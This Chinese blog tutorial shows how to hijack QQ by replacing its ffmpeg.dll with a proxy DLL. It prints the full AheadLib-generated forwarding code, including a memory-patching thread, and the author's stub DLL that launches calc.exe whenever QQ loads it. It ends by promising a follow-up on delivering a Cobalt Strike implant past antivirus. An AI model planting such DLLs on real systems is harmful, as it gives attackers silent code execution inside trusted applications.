【简单dll劫持-1】

简单dll劫持-1 劫持QQ

首先,查找qq加载所需的dll文件,Proccess Monitor设置过滤器查找QQ运行时所加载的dll
在这里插入图片描述在这里插入图片描述
应用这两条规则,然后运行QQ在这里插入图片描述
选择比较靠前的dll
在这里插入图片描述

开始写劫持dll代码

找到ffmpeg.dll,放入AheadLib中查看其原始代码
在这里插入图片描述
在这里插入图片描述

查看生成的.cpp文件

在这里插入图片描述

代码如下

//
// created by AheadLib
// github:https://github.com/strivexjun/AheadLib-x86-x64
//

#include <windows.h>
#include <Shlwapi.h>

#pragma comment( lib, "Shlwapi.lib")

#pragma comment(linker, "/EXPORT:av_buffer_create=AheadLib_av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=AheadLib_av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=AheadLib_av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=AheadLib_av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=AheadLib_av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=AheadLib_av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=AheadLib_av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=AheadLib_av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=AheadLib_av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=AheadLib_av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=AheadLib_av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=AheadLib_av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=AheadLib_av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=AheadLib_av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=AheadLib_av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=AheadLib_av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=AheadLib_av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=AheadLib_av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=AheadLib_av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=AheadLib_av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=AheadLib_av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=AheadLib_av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=AheadLib_av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=AheadLib_av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=AheadLib_av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_read_frame=AheadLib_av_read_frame,@26")
#pragma comment(linker, "/EXPORT:av_rescale_q=AheadLib_av_rescale_q,@27")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=AheadLib_av_samples_get_buffer_size,@28")
#pragma comment(linker, "/EXPORT:av_seek_frame=AheadLib_av_seek_frame,@29")
#pragma comment(linker, "/EXPORT:av_strdup=AheadLib_av_strdup,@30")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=AheadLib_av_stream_get_first_dts,@31")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=AheadLib_av_stream_get_side_data,@32")
#pragma comment(linker, "/EXPORT:av_strerror=AheadLib_av_strerror,@33")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=AheadLib_avcodec_align_dimensions,@34")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=AheadLib_avcodec_alloc_context3,@35")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=AheadLib_avcodec_descriptor_get,@36")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=AheadLib_avcodec_descriptor_next,@37")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=AheadLib_avcodec_find_decoder,@38")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=AheadLib_avcodec_flush_buffers,@39")
#pragma comment(linker, "/EXPORT:avcodec_free_context=AheadLib_avcodec_free_context,@40")
#pragma comment(linker, "/EXPORT:avcodec_get_name=AheadLib_avcodec_get_name,@41")
#pragma comment(linker, "/EXPORT:avcodec_open2=AheadLib_avcodec_open2,@42")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=AheadLib_avcodec_parameters_to_context,@43")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=AheadLib_avcodec_receive_frame,@44")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=AheadLib_avcodec_send_packet,@45")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=AheadLib_avformat_alloc_context,@46")
#pragma comment(linker, "/EXPORT:avformat_close_input=AheadLib_avformat_close_input,@47")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=AheadLib_avformat_find_stream_info,@48")
#pragma comment(linker, "/EXPORT:avformat_free_context=AheadLib_avformat_free_context,@49")
#pragma comment(linker, "/EXPORT:avformat_open_input=AheadLib_avformat_open_input,@50")
#pragma comment(linker, "/EXPORT:avio_alloc_context=AheadLib_avio_alloc_context,@51")
#pragma comment(linker, "/EXPORT:avio_close=AheadLib_avio_close,@52")


extern "C" 
{
PVOID pfnAheadLib_av_buffer_create;
PVOID pfnAheadLib_av_buffer_get_opaque;
PVOID pfnAheadLib_av_dict_count;
PVOID pfnAheadLib_av_dict_free;
PVOID pfnAheadLib_av_dict_get;
PVOID pfnAheadLib_av_dict_set;
PVOID pfnAheadLib_av_force_cpu_flags;
PVOID pfnAheadLib_av_frame_alloc;
PVOID pfnAheadLib_av_frame_clone;
PVOID pfnAheadLib_av_frame_free;
PVOID pfnAheadLib_av_frame_unref;
PVOID pfnAheadLib_av_free;
PVOID pfnAheadLib_av_get_bytes_per_sample;
PVOID pfnAheadLib_av_get_cpu_flags;
PVOID pfnAheadLib_av_image_check_size;
PVOID pfnAheadLib_av_init_packet;
PVOID pfnAheadLib_av_log_set_level;
PVOID pfnAheadLib_av_malloc;
PVOID pfnAheadLib_av_max_alloc;
PVOID pfnAheadLib_av_new_packet;
PVOID pfnAheadLib_av_packet_alloc;
PVOID pfnAheadLib_av_packet_copy_props;
PVOID pfnAheadLib_av_packet_free;
PVOID pfnAheadLib_av_packet_get_side_data;
PVOID pfnAheadLib_av_packet_unref;
PVOID pfnAheadLib_av_read_frame;
PVOID pfnAheadLib_av_rescale_q;
PVOID pfnAheadLib_av_samples_get_buffer_size;
PVOID pfnAheadLib_av_seek_frame;
PVOID pfnAheadLib_av_strdup;
PVOID pfnAheadLib_av_stream_get_first_dts;
PVOID pfnAheadLib_av_stream_get_side_data;
PVOID pfnAheadLib_av_strerror;
PVOID pfnAheadLib_avcodec_align_dimensions;
PVOID pfnAheadLib_avcodec_alloc_context3;
PVOID pfnAheadLib_avcodec_descriptor_get;
PVOID pfnAheadLib_avcodec_descriptor_next;
PVOID pfnAheadLib_avcodec_find_decoder;
PVOID pfnAheadLib_avcodec_flush_buffers;
PVOID pfnAheadLib_avcodec_free_context;
PVOID pfnAheadLib_avcodec_get_name;
PVOID pfnAheadLib_avcodec_open2;
PVOID pfnAheadLib_avcodec_parameters_to_context;
PVOID pfnAheadLib_avcodec_receive_frame;
PVOID pfnAheadLib_avcodec_send_packet;
PVOID pfnAheadLib_avformat_alloc_context;
PVOID pfnAheadLib_avformat_close_input;
PVOID pfnAheadLib_avformat_find_stream_info;
PVOID pfnAheadLib_avformat_free_context;
PVOID pfnAheadLib_avformat_open_input;
PVOID pfnAheadLib_avio_alloc_context;
PVOID pfnAheadLib_avio_close;
}


static
HMODULE g_OldModule = NULL;

VOID WINAPI Free()
{
	if (g_OldModule)
	{
		FreeLibrary(g_OldModule);
	}
}


BOOL WINAPI Load()
{
	TCHAR tzPath[MAX_PATH];
	TCHAR tzTemp[MAX_PATH * 2];

	//
	// �����Ƿ��ϵͳĿ¼��ǰĿ¼����ԭʼDLL
	//
	//GetModuleFileName(NULL,tzPath,MAX_PATH); //��ȡ��Ŀ¼�µ�
	//PathRemoveFileSpec(tzPath);

	GetSystemDirectory(tzPath, MAX_PATH); //Ĭ�ϻ�ȡϵͳĿ¼��

	lstrcat(tzPath, TEXT("\\ffmpeg.dll"));

	g_OldModule = LoadLibrary(tzPath);
	if (g_OldModule == NULL)
	{
		wsprintf(tzTemp, TEXT("�޷��ҵ�ģ�� %s,�����޷���������"), tzPath);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
	}

	return (g_OldModule != NULL);

}


FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
	FARPROC fpAddress;
	CHAR szProcName[64];
	TCHAR tzTemp[MAX_PATH];

	fpAddress = GetProcAddress(g_OldModule, pszProcName);
	if (fpAddress == NULL)
	{
		if (HIWORD(pszProcName) == 0)
		{
			wsprintfA(szProcName, "#%d", pszProcName);
			pszProcName = szProcName;
		}

		wsprintf(tzTemp, TEXT("�޷��ҵ����� %hs,�����޷���������"), pszProcName);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		ExitProcess(-2);
	}
	return fpAddress;
}

BOOL WINAPI Init()
{
	pfnAheadLib_av_buffer_create = GetAddress("av_buffer_create");
	pfnAheadLib_av_buffer_get_opaque = GetAddress("av_buffer_get_opaque");
	pfnAheadLib_av_dict_count = GetAddress("av_dict_count");
	pfnAheadLib_av_dict_free = GetAddress("av_dict_free");
	pfnAheadLib_av_dict_get = GetAddress("av_dict_get");
	pfnAheadLib_av_dict_set = GetAddress("av_dict_set");
	pfnAheadLib_av_force_cpu_flags = GetAddress("av_force_cpu_flags");
	pfnAheadLib_av_frame_alloc = GetAddress("av_frame_alloc");
	pfnAheadLib_av_frame_clone = GetAddress("av_frame_clone");
	pfnAheadLib_av_frame_free = GetAddress("av_frame_free");
	pfnAheadLib_av_frame_unref = GetAddress("av_frame_unref");
	pfnAheadLib_av_free = GetAddress("av_free");
	pfnAheadLib_av_get_bytes_per_sample = GetAddress("av_get_bytes_per_sample");
	pfnAheadLib_av_get_cpu_flags = GetAddress("av_get_cpu_flags");
	pfnAheadLib_av_image_check_size = GetAddress("av_image_check_size");
	pfnAheadLib_av_init_packet = GetAddress("av_init_packet");
	pfnAheadLib_av_log_set_level = GetAddress("av_log_set_level");
	pfnAheadLib_av_malloc = GetAddress("av_malloc");
	pfnAheadLib_av_max_alloc = GetAddress("av_max_alloc");
	pfnAheadLib_av_new_packet = GetAddress("av_new_packet");
	pfnAheadLib_av_packet_alloc = GetAddress("av_packet_alloc");
	pfnAheadLib_av_packet_copy_props = GetAddress("av_packet_copy_props");
	pfnAheadLib_av_packet_free = GetAddress("av_packet_free");
	pfnAheadLib_av_packet_get_side_data = GetAddress("av_packet_get_side_data");
	pfnAheadLib_av_packet_unref = GetAddress("av_packet_unref");
	pfnAheadLib_av_read_frame = GetAddress("av_read_frame");
	pfnAheadLib_av_rescale_q = GetAddress("av_rescale_q");
	pfnAheadLib_av_samples_get_buffer_size = GetAddress("av_samples_get_buffer_size");
	pfnAheadLib_av_seek_frame = GetAddress("av_seek_frame");
	pfnAheadLib_av_strdup = GetAddress("av_strdup");
	pfnAheadLib_av_stream_get_first_dts = GetAddress("av_stream_get_first_dts");
	pfnAheadLib_av_stream_get_side_data = GetAddress("av_stream_get_side_data");
	pfnAheadLib_av_strerror = GetAddress("av_strerror");
	pfnAheadLib_avcodec_align_dimensions = GetAddress("avcodec_align_dimensions");
	pfnAheadLib_avcodec_alloc_context3 = GetAddress("avcodec_alloc_context3");
	pfnAheadLib_avcodec_descriptor_get = GetAddress("avcodec_descriptor_get");
	pfnAheadLib_avcodec_descriptor_next = GetAddress("avcodec_descriptor_next");
	pfnAheadLib_avcodec_find_decoder = GetAddress("avcodec_find_decoder");
	pfnAheadLib_avcodec_flush_buffers = GetAddress("avcodec_flush_buffers");
	pfnAheadLib_avcodec_free_context = GetAddress("avcodec_free_context");
	pfnAheadLib_avcodec_get_name = GetAddress("avcodec_get_name");
	pfnAheadLib_avcodec_open2 = GetAddress("avcodec_open2");
	pfnAheadLib_avcodec_parameters_to_context = GetAddress("avcodec_parameters_to_context");
	pfnAheadLib_avcodec_receive_frame = GetAddress("avcodec_receive_frame");
	pfnAheadLib_avcodec_send_packet = GetAddress("avcodec_send_packet");
	pfnAheadLib_avformat_alloc_context = GetAddress("avformat_alloc_context");
	pfnAheadLib_avformat_close_input = GetAddress("avformat_close_input");
	pfnAheadLib_avformat_find_stream_info = GetAddress("avformat_find_stream_info");
	pfnAheadLib_avformat_free_context = GetAddress("avformat_free_context");
	pfnAheadLib_avformat_open_input = GetAddress("avformat_open_input");
	pfnAheadLib_avio_alloc_context = GetAddress("avio_alloc_context");
	pfnAheadLib_avio_close = GetAddress("avio_close");
	return TRUE;
}	

DWORD WINAPI ThreadProc(LPVOID lpThreadParameter)
{
	HANDLE hProcess;

	PVOID addr1 = reinterpret_cast<PVOID>(0x00401000);
	BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 };

	//
	// �ƹ�VMP3.x ���ڴ汣��
	//
	hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
	if (hProcess)
	{
		WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL);

		CloseHandle(hProcess);
	}

	return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		if (Load() && Init())
		{
			TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe");//���޸�����������
			TCHAR szCurName[MAX_PATH];

			GetModuleFileName(NULL, szCurName, MAX_PATH);
			PathStripPath(szCurName);

			//�Ƿ��ж�����������
			if (StrCmpI(szCurName, szAppName) == 0)
			{
				//���������̻߳�����������
				HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
				if (hThread)
				{
					CloseHandle(hThread);
				}
			}
		}
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}

	return TRUE;
}

根据原始dll代码编写劫持代码如下

#include <windows.h>
#include <Shlwapi.h>
#include "pch.h"

// Placeholder implementations for all functions

extern "C" __declspec(dllexport) int av_buffer_create() { return 0; }
extern "C" __declspec(dllexport) int av_buffer_get_opaque() { return 0; }
extern "C" __declspec(dllexport) int av_dict_count() { return 0; }
extern "C" __declspec(dllexport) int av_dict_free() { return 0; }
extern "C" __declspec(dllexport) int av_dict_get() { return 0; }
extern "C" __declspec(dllexport) int av_dict_set() { return 0; }
extern "C" __declspec(dllexport) int av_force_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_frame_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_frame_clone() { return 0; }
extern "C" __declspec(dllexport) int av_frame_free() { return 0; }
extern "C" __declspec(dllexport) int av_frame_unref() { return 0; }
extern "C" __declspec(dllexport) int av_free() { return 0; }
extern "C" __declspec(dllexport) int av_get_bytes_per_sample() { return 0; }
extern "C" __declspec(dllexport) int av_get_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_image_check_size() { return 0; }
extern "C" __declspec(dllexport) int av_init_packet() { return 0; }
extern "C" __declspec(dllexport) int av_log_set_level() { return 0; }
extern "C" __declspec(dllexport) int av_malloc() { return 0; }
extern "C" __declspec(dllexport) int av_max_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_new_packet() { return 0; }
extern "C" __declspec(dllexport) int av_packet_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_packet_copy_props() { return 0; }
extern "C" __declspec(dllexport) int av_packet_free() { return 0; }
extern "C" __declspec(dllexport) int av_packet_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_packet_unref() { return 0; }
extern "C" __declspec(dllexport) int av_read_frame() { return 0; }
extern "C" __declspec(dllexport) int av_rescale_q() { return 0; }
extern "C" __declspec(dllexport) int av_samples_get_buffer_size() { return 0; }
extern "C" __declspec(dllexport) int av_seek_frame() { return 0; }
extern "C" __declspec(dllexport) int av_strdup() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_first_dts() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_strerror() { return 0; }
extern "C" __declspec(dllexport) int avcodec_align_dimensions() { return 0; }
extern "C" __declspec(dllexport) int avcodec_alloc_context3() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_get() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_next() { return 0; }
extern "C" __declspec(dllexport) int avcodec_find_decoder() { return 0; }
extern "C" __declspec(dllexport) int avcodec_flush_buffers() { return 0; }
extern "C" __declspec(dllexport) int avcodec_free_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_get_name() { return 0; }
extern "C" __declspec(dllexport) int avcodec_open2() { return 0; }
extern "C" __declspec(dllexport) int avcodec_parameters_to_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_receive_frame() { return 0; }
extern "C" __declspec(dllexport) int avcodec_send_packet() { return 0; }
extern "C" __declspec(dllexport) int avformat_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_close_input() { return 0; }
extern "C" __declspec(dllexport) int avformat_find_stream_info() { return 0; }
extern "C" __declspec(dllexport) int avformat_free_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_open_input() { return 0; }
extern "C" __declspec(dllexport) int avio_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avio_close() { return 0; }



BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		// 创建一个新进程来打开系统计算器
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi;
		CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

		// 关闭进程和线程句柄
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		// 可选的清理代码可以放在这里
	}

	return TRUE;
}

设置为运行计算器在这里插入图片描述

然后再次放入Visual Studio中编译为DLL文件
在这里插入图片描述
将生成的Dll文件名改为ffmpeg.dll,替换QQ目录中的ffmpeg.dll
在这里插入图片描述
在这里插入图片描述
运行QQ时自动弹出计算器,且在运行中只要调用此DLL文件就会弹出计算器。

在这里插入图片描述

下期更新DLL劫持免杀上线CS马

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值